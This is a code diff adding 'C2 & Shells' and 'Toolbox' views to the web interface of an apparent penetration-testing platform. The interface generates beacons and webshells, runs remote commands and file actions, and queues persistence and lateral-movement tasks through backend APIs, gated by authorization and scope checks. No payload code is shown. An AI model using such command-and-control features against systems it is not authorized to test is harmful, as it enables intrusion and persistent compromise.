<select id="c2WsOs"><option>auto</option><option>linux</option><option>windows</option></select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="config-card-actions"><button class="btn btn-accent" data-c2-action="ws-add">Save connection</button></div>
|
||||
<div class="field-help">Only private/loopback or explicitly allow-listed hosts are accepted.</div>
|
||||
</div>
|
||||
<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Connection</th><th>Name</th><th>URL</th><th>Type</th><th>OS</th><th>Last seen</th><th></th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="7" class="empty-state">No WebShell connections yet.</td></tr>'}</tbody>
|
||||
</table></div>
|
||||
${sel ? `
|
||||
<div class="config-card" style="margin-top:16px;">
|
||||
<div class="config-card-title">WebShell console — ${esc(sel.name)} <span class="mono">${esc(sel.id)}</span></div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsCmd">Command</label><input id="c2WsCmd" placeholder="id; uname -a; dir C:\\" /></div>
|
||||
<div class="config-card-actions"><button class="btn btn-accent" data-c2-action="ws-exec">Execute</button></div>
|
||||
<div class="field-row" style="margin-top:10px;">
|
||||
<div class="field-group"><label class="field-label" for="c2WsFileAction">File action</label>
|
||||
<select id="c2WsFileAction"><option>list</option><option>read</option><option>write</option><option>delete</option><option>mkdir</option><option>rename</option></select>
|
||||
</div>
|
||||
<div class="field-group" style="flex:2;"><label class="field-label" for="c2WsPath">Path</label><input id="c2WsPath" placeholder="/tmp" /></div>
|
||||
<div class="field-group" style="flex:2;"><label class="field-label" for="c2WsTarget">Target path (rename)</label><input id="c2WsTarget" placeholder="/tmp/new-name" /></div>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2WsContent">Content (write)</label><textarea id="c2WsContent" rows="3" placeholder="file content"></textarea></div>
|
||||
<div class="config-card-actions"><button class="btn" data-c2-action="ws-file">Run file action</button></div>
|
||||
</div>` : ''}`;
|
||||
}
|
||||
|
||||
function renderC2Payloads(d) {
|
||||
const listeners = d.listeners || [];
|
||||
const opts = listeners.map((l) => `<option value="${esc(l.id)}">${esc(l.name)} (${esc(l.bind_host)}:${esc(l.bind_port)})</option>`).join('');
|
||||
const plist = (d.payloads || []).slice().reverse().slice(0, 40).map((pl) => `
|
||||
<tr><td class="mono">${esc(pl.name)}</td><td>${esc(pl.kind)}</td><td class="mono">${esc(pl.size)}</td><td class="mono">${esc(c2Time(pl.created_at))}</td>
|
||||
<td><a class="btn btn-sm" href="/api/c2/payloads/${encodeURIComponent(pl.name)}">download</a></td></tr>`).join('');
|
||||
return `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">Generate payload</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group" style="flex:2;">
|
||||
<label class="field-label" for="c2PayloadListener">Listener</label>
|
||||
<select id="c2PayloadListener">${opts || '<option value="">create a listener first</option>'}</select>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2PayloadKind">Beacon language</label>
|
||||
<select id="c2PayloadKind"><option>bash</option><option>python</option><option>powershell</option><option>php</option></select>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2PayloadType">WebShell type</label>
|
||||
<select id="c2PayloadType"><option>php</option><option>aspx</option><option>asp</option><option>jsp</option></select>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label" for="c2PayloadPass">WebShell password</label>
|
||||
<input id="c2PayloadPass" placeholder="ns_pass" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="config-card-actions">
|
||||
<button class="btn btn-accent" data-c2-action="payload-beacon">Generate beacon</button>
|
||||
<button class="btn" data-c2-action="payload-webshell">Generate WebShell</button>
|
||||
<button class="btn" data-c2-action="payload-oneliner">One-liner</button>
|
||||
</div>
|
||||
<div class="field-help">Payloads are written to <code>.neurosploit/c2/payloads/</code> with 0600 permissions and recorded in the audit log.</div>
|
||||
</div>
|
||||
${c2State.payload ? `<div class="config-card" style="margin-bottom:16px;"><div class="config-card-title">${esc(c2State.payload.name || c2State.payload.kind)}</div>
|
||||
<div class="config-card-desc mono">${esc(c2State.payload.path || c2State.payload.callback || '')}</div>
|
||||
<textarea rows="12" class="c2-payload">${esc(c2State.payload.content || c2State.payload.oneliner || '')}</textarea>
|
||||
${c2State.payload.name ? `<div class="config-card-actions"><a class="btn btn-sm" href="/api/c2/payloads/${encodeURIComponent(c2State.payload.name)}">Download</a></div>` : ''}
|
||||
</div>` : ''}
|
||||
<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Name</th><th>Kind</th><th>Size</th><th>Created</th><th></th></tr></thead>
|
||||
<tbody>${plist || '<tr><td colspan="5" class="empty-state">No payloads generated yet.</td></tr>'}</tbody>
|
||||
</table></div>`;
|
||||
}
|
||||
|
||||
function renderC2Events(d) {
|
||||
const rows = (d.events || []).map((e) => `
|
||||
<tr><td class="mono">${esc(new Date(e.ts).toLocaleString())}</td><td>${esc(e.level)}</td><td>${esc(e.kind)}</td><td>${esc(e.message)}</td></tr>`).join('');
|
||||
return `<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Time</th><th>Level</th><th>Kind</th><th>Message</th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="4" class="empty-state">No events yet.</td></tr>'}</tbody>
|
||||
</table></div>`;
|
||||
}
|
||||
|
||||
async function c2Post(path, body) {
|
||||
const r = await api(path, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body || {}) });
|
||||
return r;
|
||||
}
|
||||
|
||||
document.addEventListener('click', async (ev) => {
|
||||
const tab = ev.target.closest('[data-c2-tab]');
|
||||
if (tab) { c2State.tab = tab.dataset.c2Tab; renderC2(); return; }
|
||||
const sess = ev.target.closest('[data-c2-session]');
|
||||
if (sess) { c2State.session = sess.dataset.c2Session; renderC2(); return; }
|
||||
const ws = ev.target.closest('[data-c2-ws]');
|
||||
if (ws) { c2State.webshell = ws.dataset.c2Ws; renderC2(); return; }
|
||||
const el = ev.target.closest('[data-c2-action]');
|
||||
if (!el || !el.closest('#c2Body')) return;
|
||||
const action = el.dataset.c2Action;
|
||||
const id = el.dataset.id || '';
|
||||
try {
|
||||
if (action === 'enable') {
|
||||
const auth = $('#c2Auth')?.value.trim();
|
||||
if (!auth) { fieldError('c2EnableError', 'an authorization reference is required'); return; }
|
||||
await c2Post('/api/c2/enable', {
|
||||
authorization: auth,
|
||||
hosts: $('#c2Hosts')?.value || '',
|
||||
persistence: !!$('#c2Persist')?.checked,
|
||||
lateral: !!$('#c2Lateral')?.checked,
|
||||
allowPublic: !!$('#c2Public')?.checked,
|
||||
});
|
||||
toast('C2 enabled — listeners still need to be started explicitly', 'info');
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'disable') { await c2Post('/api/c2/disable'); c2SetOutput(''); await loadC2(); return; }
|
||||
if (action === 'refresh') { await loadC2(); return; }
|
||||
if (action === 'listener-create') {
|
||||
await c2Post('/api/c2/listeners', {
|
||||
name: $('#c2ListenerName')?.value || 'listener',
|
||||
bind_host: $('#c2ListenerHost')?.value || '127.0.0.1',
|
||||
bind_port: Number($('#c2ListenerPort')?.value) || 8443,
|
||||
callback_host: $('#c2ListenerCb')?.value || '',
|
||||
sleep_seconds: Number($('#c2ListenerSleep')?.value) || 5,
|
||||
});
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'listener-start' || action === 'listener-stop' || action === 'listener-delete') {
|
||||
const path = action === 'listener-delete'
|
||||
? `/api/c2/listeners/${encodeURIComponent(id)}`
|
||||
: `/api/c2/listeners/${encodeURIComponent(id)}/${action === 'listener-start' ? 'start' : 'stop'}`;
|
||||
await api(path, { method: action === 'listener-delete' ? 'DELETE' : 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' });
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'session-sleep') {
|
||||
await c2Post(`/api/c2/sessions/${encodeURIComponent(id)}/sleep`, { seconds: 10, jitter: 10 });
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'session-note') {
|
||||
const note = window.prompt('Session note:');
|
||||
if (note === null) return;
|
||||
await c2Post(`/api/c2/sessions/${encodeURIComponent(id)}/note`, { note });
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'session-kill') {
|
||||
if (!window.confirm('Mark this session killed and cancel queued tasks?')) return;
|
||||
await api(`/api/c2/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'task-exec' || action === 'task-lateral') {
|
||||
if (!c2State.session) { toast('select a session first', 'error'); return; }
|
||||
const command = $('#c2Cmd')?.value.trim();
|
||||
if (!command) { toast('enter a command', 'error'); return; }
|
||||
const r = await c2Post('/api/c2/tasks', {
|
||||
session_id: c2State.session,
|
||||
task_type: action === 'task-lateral' ? 'lateral' : 'exec',
|
||||
payload: { command }, wait: true, timeout: 40,
|
||||
});
|
||||
c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2));
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'task-persist') {
|
||||
if (!c2State.session) { toast('select a session first', 'error'); return; }
|
||||
const method = $('#c2PersistMethod')?.value || 'auto';
|
||||
const r = await c2Post('/api/c2/tasks', {
|
||||
session_id: c2State.session, task_type: 'persist', payload: { method }, wait: true, timeout: 60,
|
||||
});
|
||||
c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2));
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'task-get') {
|
||||
const r = await api(`/api/c2/tasks/${encodeURIComponent(id)}`);
|
||||
c2SetOutput(r.task ? `${r.task.id} · ${r.task.status}\n${r.task.output || ''}\n${r.task.error || ''}` : JSON.stringify(r, null, 2));
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'task-cancel') {
|
||||
await c2Post(`/api/c2/tasks/${encodeURIComponent(id)}/cancel`, {});
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'ws-add') {
|
||||
await c2Post('/api/webshell/connections', {
|
||||
url: $('#c2WsUrl')?.value.trim(), name: $('#c2WsName')?.value.trim(),
|
||||
password: $('#c2WsPass')?.value || '', shell_type: $('#c2WsType')?.value || 'php',
|
||||
method: $('#c2WsMethod')?.value || 'POST', os: $('#c2WsOs')?.value || 'auto',
|
||||
});
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'ws-test') {
|
||||
const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(id)}/test`, {});
|
||||
c2SetOutput(`ok=${r.ok} http=${r.http_status} os=${r.detected_os}\n${r.output || ''}`);
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'ws-exec') {
|
||||
if (!c2State.webshell) { toast('select a WebShell first', 'error'); return; }
|
||||
const command = $('#c2WsCmd')?.value.trim();
|
||||
if (!command) { toast('enter a command', 'error'); return; }
|
||||
const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(c2State.webshell)}/exec`, { command });
|
||||
c2SetOutput(`http=${r.http_status} ok=${r.ok}\n${r.output || ''}`);
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'ws-file') {
|
||||
if (!c2State.webshell) { toast('select a WebShell first', 'error'); return; }
|
||||
const r = await c2Post(`/api/webshell/connections/${encodeURIComponent(c2State.webshell)}/file`, {
|
||||
action: $('#c2WsFileAction')?.value || 'list',
|
||||
path: $('#c2WsPath')?.value || '.',
|
||||
target_path: $('#c2WsTarget')?.value || '',
|
||||
content: $('#c2WsContent')?.value || '',
|
||||
});
|
||||
c2SetOutput(`http=${r.http_status} ok=${r.ok}\n${r.output || ''}`);
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'ws-delete') {
|
||||
if (!window.confirm('Delete this saved WebShell connection?')) return;
|
||||
await api(`/api/webshell/connections/${encodeURIComponent(id)}`, { method: 'DELETE' });
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'payload-beacon' || action === 'payload-oneliner') {
|
||||
const listener = $('#c2PayloadListener')?.value;
|
||||
if (!listener) { toast('create and select a listener first', 'error'); return; }
|
||||
const body = action === 'payload-oneliner'
|
||||
? { listener_id: listener }
|
||||
: { listener_id: listener, kind: $('#c2PayloadKind')?.value || 'bash' };
|
||||
const r = await c2Post(action === 'payload-oneliner' ? '/api/c2/payloads/oneliner' : '/api/c2/payloads/beacon', body);
|
||||
c2State.payload = r;
|
||||
c2SetOutput('');
|
||||
await loadC2(); return;
|
||||
}
|
||||
if (action === 'payload-webshell') {
|
||||
const r = await c2Post('/api/c2/payloads/webshell', {
|
||||
shell_type: $('#c2PayloadType')?.value || 'php',
|
||||
password: $('#c2PayloadPass')?.value || '',
|
||||
});
|
||||
c2State.payload = r;
|
||||
c2SetOutput('');
|
||||
await loadC2(); return;
|
||||
}
|
||||
} catch (e) {
|
||||
toast(e.message, 'error', 9000);
|
||||
}
|
||||
});
|
||||
|
||||
$('#btnC2Refresh')?.addEventListener('click', () => loadC2());
|
||||
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Toolbox — 200+ real tools + MCP tool servers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const toolboxState = { catalog: [], mcp: null, check: {}, selected: '', output: '', profiles: null, filter: '', category: '' };
|
||||
|
||||
async function loadToolbox() {
|
||||
if (state.activeView !== 'toolbox') return;
|
||||
const body = $('#toolboxBody');
|
||||
try {
|
||||
const [catalog, mcp] = await Promise.all([
|
||||
api('/api/tools'),
|
||||
api('/api/mcp/servers').catch(() => ({ servers: [], config: '' })),
|
||||
]);
|
||||
toolboxState.catalog = catalog || [];
|
||||
toolboxState.mcp = mcp || {};
|
||||
renderToolbox();
|
||||
} catch (e) {
|
||||
if (body) body.innerHTML = `<div class="empty-state">Toolbox unavailable — ${esc(e.message)}</div>`;
|
||||
}
|
||||
}
|
||||
|
||||
function toolboxCategories() {
|
||||
const counts = {};
|
||||
for (const t of toolboxState.catalog) counts[t.category] = (counts[t.category] || 0) + 1;
|
||||
return Object.entries(counts).sort((a, b) => a[0].localeCompare(b[0]));
|
||||
}
|
||||
|
||||
function toolboxFiltered() {
|
||||
let items = toolboxState.catalog;
|
||||
if (toolboxState.category) items = items.filter((t) => t.category === toolboxState.category);
|
||||
const q = toolboxState.filter.trim().toLowerCase();
|
||||
if (q) {
|
||||
items = items.filter((t) => [t.id, t.name, t.binary, t.category, t.description, ...(t.tags || [])]
|
||||
.join(' ').toLowerCase().includes(q));
|
||||
}
|
||||
return items;
|
||||
}
|
||||
|
||||
function renderToolbox() {
|
||||
const body = $('#toolboxBody');
|
||||
if (!body) return;
|
||||
const cats = toolboxCategories();
|
||||
const items = toolboxFiltered();
|
||||
const mcp = toolboxState.mcp || {};
|
||||
const servers = mcp.servers || [];
|
||||
const selected = toolboxState.catalog.find((t) => t.id === toolboxState.selected) || null;
|
||||
const rows = items.slice(0, 400).map((t) => {
|
||||
const chk = toolboxState.check[t.id];
|
||||
const status = chk
|
||||
? (chk.installed ? `<span class="badge badge-ok">installed</span>` : `<span class="badge badge-muted">missing</span>`)
|
||||
: '';
|
||||
return `<tr class="${t.id === toolboxState.selected ? 'c2-selected' : ''}">
|
||||
<td class="mono">${esc(t.id)}</td>
|
||||
<td>${esc(t.category)}</td>
|
||||
<td class="mono">${esc(t.binary)}</td>
|
||||
<td>${esc(t.description)} ${status}</td>
|
||||
<td class="mono">${chk && chk.version ? esc(chk.version.slice(0, 60)) : ''}</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-tool-action="select" data-id="${esc(t.id)}">run</button>
|
||||
<button class="btn btn-sm" data-tool-action="check" data-id="${esc(t.id)}">check</button>
|
||||
${chk && !chk.installed ? `<button class="btn btn-sm" data-tool-action="install" data-id="${esc(t.id)}">install</button>` : ''}
|
||||
</td>
|
||||
</tr>`;
|
||||
}).join('');
|
||||
|
||||
body.innerHTML = `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">${toolboxState.catalog.length} real tools across ${cats.length} categories</div>
|
||||
<div class="config-card-desc">Run them directly here, or let agents use the same catalog with <code>--tools</code> / <code>--agent-tools</code>. Scope, operator constraints and timeouts are enforced by the CLI runner.</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group" style="flex:2;">
|
||||
<label class="field-label" for="toolboxSearch">Search</label>
|
||||
<input id="toolboxSearch" placeholder="nmap, kerberos, sqli, cloud…" value="${esc(toolboxState.filter)}" />
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="toolboxCategory">Category</label>
|
||||
<select id="toolboxCategory">
|
||||
<option value="">all (${toolboxState.catalog.length})</option>
|
||||
${cats.map(([c, n]) => `<option value="${esc(c)}" ${toolboxState.category === c ? 'selected' : ''}>${esc(c)} (${n})</option>`).join('')}
|
||||
</select>
|
||||
</div>
|
||||
<div class="field-group" style="flex:0;min-width:auto;">
|
||||
<label class="field-label"> </label>
|
||||
<button class="btn" data-tool-action="profiles">Recommended by mode</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
${selected ? `
|
||||
<div class="config-card" style="margin-bottom:16px;">
|
||||
<div class="config-card-title">Run ${esc(selected.name)} <span class="mono">${esc(selected.id)}</span></div>
|
||||
<div class="config-card-desc mono">${esc(selected.usage)}</div>
|
||||
<div class="field-row">
|
||||
<div class="field-group" style="flex:2;"><label class="field-label" for="toolboxTarget">Target</label><input id="toolboxTarget" placeholder="10.0.0.5 or https://app" /></div>
|
||||
<div class="field-group" style="flex:3;"><label class="field-label" for="toolboxArgs">Args (optional)</label><input id="toolboxArgs" placeholder="-sV -p 22,80,443" /></div>
|
||||
<div class="field-group" style="flex:0;min-width:auto;"><label class="field-label" for="toolboxTimeout">Timeout (s)</label><input id="toolboxTimeout" type="number" value="300" style="width:90px;" /></div>
|
||||
</div>
|
||||
<div class="check-row"><input type="checkbox" id="toolboxSandbox" /> <label for="toolboxSandbox">Run in Kali sandbox</label></div>
|
||||
<div class="check-row"><input type="checkbox" id="toolboxProvision" /> <label for="toolboxProvision">Allow install if missing (explicit)</label></div>
|
||||
<div class="config-card-actions">
|
||||
<button class="btn btn-accent" data-tool-action="run">Run tool</button>
|
||||
<button class="btn" data-tool-action="check" data-id="${esc(selected.id)}">Check install</button>
|
||||
</div>
|
||||
<div class="field-help">${selected.intrusive ? '<b>Intrusive:</b> actively probes the target. ' : ''}${selected.requires_root ? 'May require root/CAP_NET_RAW. ' : ''}Stay within the authorized scope.</div>
|
||||
</div>` : ''}
|
||||
|
||||
${toolboxState.output ? `<div class="config-card" style="margin-bottom:16px;"><div class="config-card-title">Last tool output</div><pre class="c2-output">${esc(toolboxState.output)}</pre></div>` : ''}
|
||||
${toolboxState.profiles ? `<div class="config-card" style="margin-bottom:16px;"><div class="config-card-title">Recommended toolchains</div><pre class="c2-output">${esc(toolboxState.profiles)}</pre></div>` : ''}
|
||||
|
||||
<div class="table-wrap" style="margin-bottom:20px;"><table class="data-table">
|
||||
<thead><tr><th>ID</th><th>Category</th><th>Binary</th><th>Description</th><th>Version</th><th></th></tr></thead>
|
||||
<tbody>${rows || '<tr><td colspan="6" class="empty-state">No tools match.</td></tr>'}</tbody>
|
||||
</table></div>
|
||||
|
||||
<div class="config-card">
|
||||
<div class="config-card-title">MCP tool servers <span class="config-card-meta">${esc(mcp.config || '')}</span></div>
|
||||
<div class="config-card-desc">Add a curated server to <code>mcp.servers.json</code>; the next <code>--mcp</code> run merges it into the agent's tool list.</div>
|
||||
<div class="table-wrap"><table class="data-table">
|
||||
<thead><tr><th>Server</th><th>Transport</th><th>Description</th><th>Status</th><th></th></tr></thead>
|
||||
<tbody>${servers.map((s) => `
|
||||
<tr>
|
||||
<td class="mono">${esc(s.name)}</td>
|
||||
<td>${esc(s.transport)}</td>
|
||||
<td>${esc(s.description)}</td>
|
||||
<td>${s.configured ? '<span class="badge badge-ok">configured</span>' : '<span class="badge badge-muted">not configured</span>'}</td>
|
||||
<td>
|
||||
<button class="btn btn-sm" data-tool-action="mcp-add" data-id="${esc(s.name)}">add</button>
|
||||
<button class="btn btn-sm" data-tool-action="mcp-test" data-id="${esc(s.name)}">test</button>
|
||||
<button class="btn btn-sm" data-tool-action="mcp-remove" data-id="${esc(s.name)}">remove</button>
|
||||
</td>
|
||||
</tr>`).join('') || '<tr><td colspan="5" class="empty-state">No MCP servers available.</td></tr>'}
|
||||
</tbody>
|
||||
</table></div>
|
||||
<div class="field-help">nmap MCP uses <code>npx gc-nmap-mcp</code>; Kali uses the <code>kali-mcp</code> entrypoint (pipx/Docker). Configure credentials/URLs in <code>mcp.servers.json</code>.</div>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
async function toolboxCheck(id) {
|
||||
const r = await api(`/api/tools/${encodeURIComponent(id)}/check`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sandbox: !!$('#toolboxSandbox')?.checked }) });
|
||||
const check = Array.isArray(r) ? r[0] : r;
|
||||
if (check) toolboxState.check[id] = check;
|
||||
renderToolbox();
|
||||
}
|
||||
|
||||
document.addEventListener('click', async (ev) => {
|
||||
const el = ev.target.closest('[data-tool-action]');
|
||||
if (!el || !el.closest('#toolboxBody')) return;
|
||||
const action = el.dataset.toolAction;
|
||||
const id = el.dataset.id || '';
|
||||
try {
|
||||
if (action === 'select') { toolboxState.selected = id; renderToolbox(); return; }
|
||||
if (action === 'check') { await toolboxCheck(id); return; }
|
||||
if (action === 'install') {
|
||||
if (!window.confirm(`Install ${id}? This runs the catalog installer (apt/pipx/go/...) with your permission.`)) return;
|
||||
const r = await api('/api/tools/install', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ tool: id, sandbox: !!$('#toolboxSandbox')?.checked }) });
|
||||
toolboxState.output = JSON.stringify(r, null, 2);
|
||||
await toolboxCheck(id);
|
||||
return;
|
||||
}
|
||||
if (action === 'run') {
|
||||
if (!toolboxState.selected) return;
|
||||
const target = $('#toolboxTarget')?.value.trim() || '';
|
||||
const args = $('#toolboxArgs')?.value.trim() || '';
|
||||
const r = await api('/api/tools/run', {
|
||||
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
tool: toolboxState.selected, target, args,
|
||||
sandbox: !!$('#toolboxSandbox')?.checked,
|
||||
provision: !!$('#toolboxProvision')?.checked,
|
||||
timeout: Number($('#toolboxTimeout')?.value) || 300,
|
||||
}),
|
||||
});
|
||||
toolboxState.output = `$ ${r.command}\n${r.timed_out ? '[TIMED OUT]\n' : ''}${r.stdout || ''}${r.stderr ? `\n--- stderr ---\n${r.stderr}` : ''}`;
|
||||
renderToolbox();
|
||||
return;
|
||||
}
|
||||
if (action === 'profiles') {
|
||||
const r = await api('/api/tools/profiles');
|
||||
toolboxState.profiles = (r || []).map((p) => `${p.mode.padEnd(10)} ${(p.tools || []).join(', ')}`).join('\n');
|
||||
renderToolbox();
|
||||
return;
|
||||
}
|
||||
if (action === 'mcp-add' || action === 'mcp-remove') {
|
||||
const r = await api('/api/mcp/servers', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ action: action === 'mcp-add' ? 'add' : 'remove', server: id }) });
|
||||
toolboxState.mcp = r;
|
||||
renderToolbox();
|
||||
return;
|
||||
}
|
||||
if (action === 'mcp-test') {
|
||||
const r = await api('/api/mcp/servers/test', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ server: id }) });
|
||||
toast(`${id}: ${r.ok ? 'OK' : 'not ready'} — ${r.detail || ''}`, r.ok ? 'info' : 'error', 8000);
|
||||
return;
|
||||
}
|
||||
} catch (e) {
|
||||
toast(e.message, 'error', 9000);
|
||||
}
|
||||
});
|
||||
|
||||
$('#btnToolboxRefresh')?.addEventListener('click', () => loadToolbox());
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// boot
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
@@ -51,6 +51,8 @@
|
||||
<button class="sb-nav-item" data-view="vault"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="8" cy="15" r="3.8"/><path d="m10.7 12.3 8.8-8.8M16 7l3 3M13.5 9.5l2 2"/></svg></span> Vault</button>
|
||||
<button class="sb-nav-item" data-view="guardrails"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 3.2 19.5 6v5.6c0 4.4-3.1 7.5-7.5 9.2-4.4-1.7-7.5-4.8-7.5-9.2V6z"/><path d="m9 12 2.2 2.2L15.2 10"/></svg></span> Guardrails</button>
|
||||
<div class="sb-nav-separator"></div>
|
||||
<button class="sb-nav-item" data-view="c2"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 5h16v11H4z"/><path d="M8 20h8M12 16v4"/><path d="m7 9 2.5 2L7 13M12 13h4"/></svg></span> C2 & Shells</button>
|
||||
<button class="sb-nav-item" data-view="toolbox"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7h16M4 12h16M4 17h16"/><circle cx="7" cy="7" r="1"/><circle cx="12" cy="12" r="1"/><circle cx="17" cy="17" r="1"/></svg></span> Toolbox</button>
|
||||
<button class="sb-nav-item" id="sbTerminal"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m5 7 5 5-5 5M12.5 18H19"/></svg></span> Terminal</button>
|
||||
<button class="sb-nav-item" data-view="integrations"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M9 3v5M15 3v5M6.5 8h11v3.5a5.5 5.5 0 0 1-11 0zM12 17v4"/></svg></span> Integrations</button>
|
||||
<button class="sb-nav-item" data-view="settings"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7h9M17 7h3M4 12h3M11 12h9M4 17h11M19 17h1"/><circle cx="15" cy="7" r="2"/><circle cx="9" cy="12" r="2"/><circle cx="17" cy="17" r="2"/></svg></span> Settings</button>
|
||||
@@ -262,6 +264,32 @@
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ============ TOOLBOX ============ -->
|
||||
<section class="page-view" id="toolboxView" hidden>
|
||||
<header class="topbar">
|
||||
<div>
|
||||
<div class="topbar-title">Toolbox</div>
|
||||
<div class="topbar-sub">200+ real pentest tools (web, infra, Active Directory, cloud, container, mobile, binary, forensics, AI) and MCP tool servers</div>
|
||||
</div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<button class="btn btn-sm" id="btnToolboxRefresh">Refresh</button>
|
||||
</header>
|
||||
<div class="page-body" id="toolboxBody"><div class="empty-state">Loading…</div></div>
|
||||
</section>
|
||||
|
||||
<!-- ============ C2 & SHELLS ============ -->
|
||||
<section class="page-view" id="c2View" hidden>
|
||||
<header class="topbar">
|
||||
<div>
|
||||
<div class="topbar-title">C2 & Shells</div>
|
||||
<div class="topbar-sub">Command & Control and WebShell management for authorized internal engagements — opt-in, private-scope first, fully audited</div>
|
||||
</div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<button class="btn btn-sm" id="btnC2Refresh">Refresh</button>
|
||||
</header>
|
||||
<div class="page-body" id="c2Body"><div class="empty-state">Loading…</div></div>
|
||||
</section>
|
||||
|
||||
<!-- ============ GUARDRAILS ============ -->
|
||||
<section class="page-view" id="guardrailsView" hidden>
|
||||
<header class="topbar">
|
||||
@@ -672,6 +700,14 @@
|
||||
</select>
|
||||
<div class="field-help">Runs attack commands off the host, with the Kali toolbox. Needs docker or podman.</div>
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label">C2 / post-exploitation</label>
|
||||
<div class="check-row"><input type="checkbox" id="fieldC2" /> <label for="fieldC2"><b>Enable C2</b> for this internal engagement</label></div>
|
||||
<input id="fieldC2Auth" type="text" placeholder="Authorization reference (SOW / ticket / bug-bounty URL)" />
|
||||
<div class="check-row"><input type="checkbox" id="fieldC2Persistence" /> <label for="fieldC2Persistence">Allow persistence tasks</label></div>
|
||||
<div class="check-row"><input type="checkbox" id="fieldC2Lateral" /> <label for="fieldC2Lateral">Allow lateral movement & uploads</label></div>
|
||||
<div class="field-help">Opt-in. Listeners bind loopback by default; WebShell targets must resolve to private space unless allow-listed. Persistence and lateral movement are separate explicit opt-ins. All actions are audited under <code>.neurosploit/c2/</code>.</div>
|
||||
</div>
|
||||
<div class="field-group"><label class="field-label">PoC re-validation</label>
|
||||
<div class="check-row"><input type="checkbox" id="fieldRevalidatePoc" /> <label for="fieldRevalidatePoc">Re-run every PoC; demote what no longer reproduces</label></div>
|
||||
</div>
|
||||
|
||||
@@ -1544,3 +1544,35 @@ input[type="number"] { font-variant-numeric: tabular-nums; }
|
||||
|
||||
.btn-link { background: none; border: none; color: var(--accent); cursor: pointer; padding: 0; font-size: inherit; text-decoration: underline; }
|
||||
.btn-link:hover { opacity: 0.8; }
|
||||
|
||||
/* ============================================================ C2 & Shells */
|
||||
#c2View .run-tabs { margin-bottom: var(--sp-3); }
|
||||
#c2View .run-tab { cursor: pointer; }
|
||||
.c2-selected td { background: var(--surface-2, rgba(127,127,127,.08)); }
|
||||
.c2-output {
|
||||
margin: 0;
|
||||
padding: var(--sp-3);
|
||||
max-height: 360px;
|
||||
overflow: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-word;
|
||||
font-family: var(--mono);
|
||||
font-size: var(--fs-xs);
|
||||
background: var(--surface-2, rgba(127,127,127,.06));
|
||||
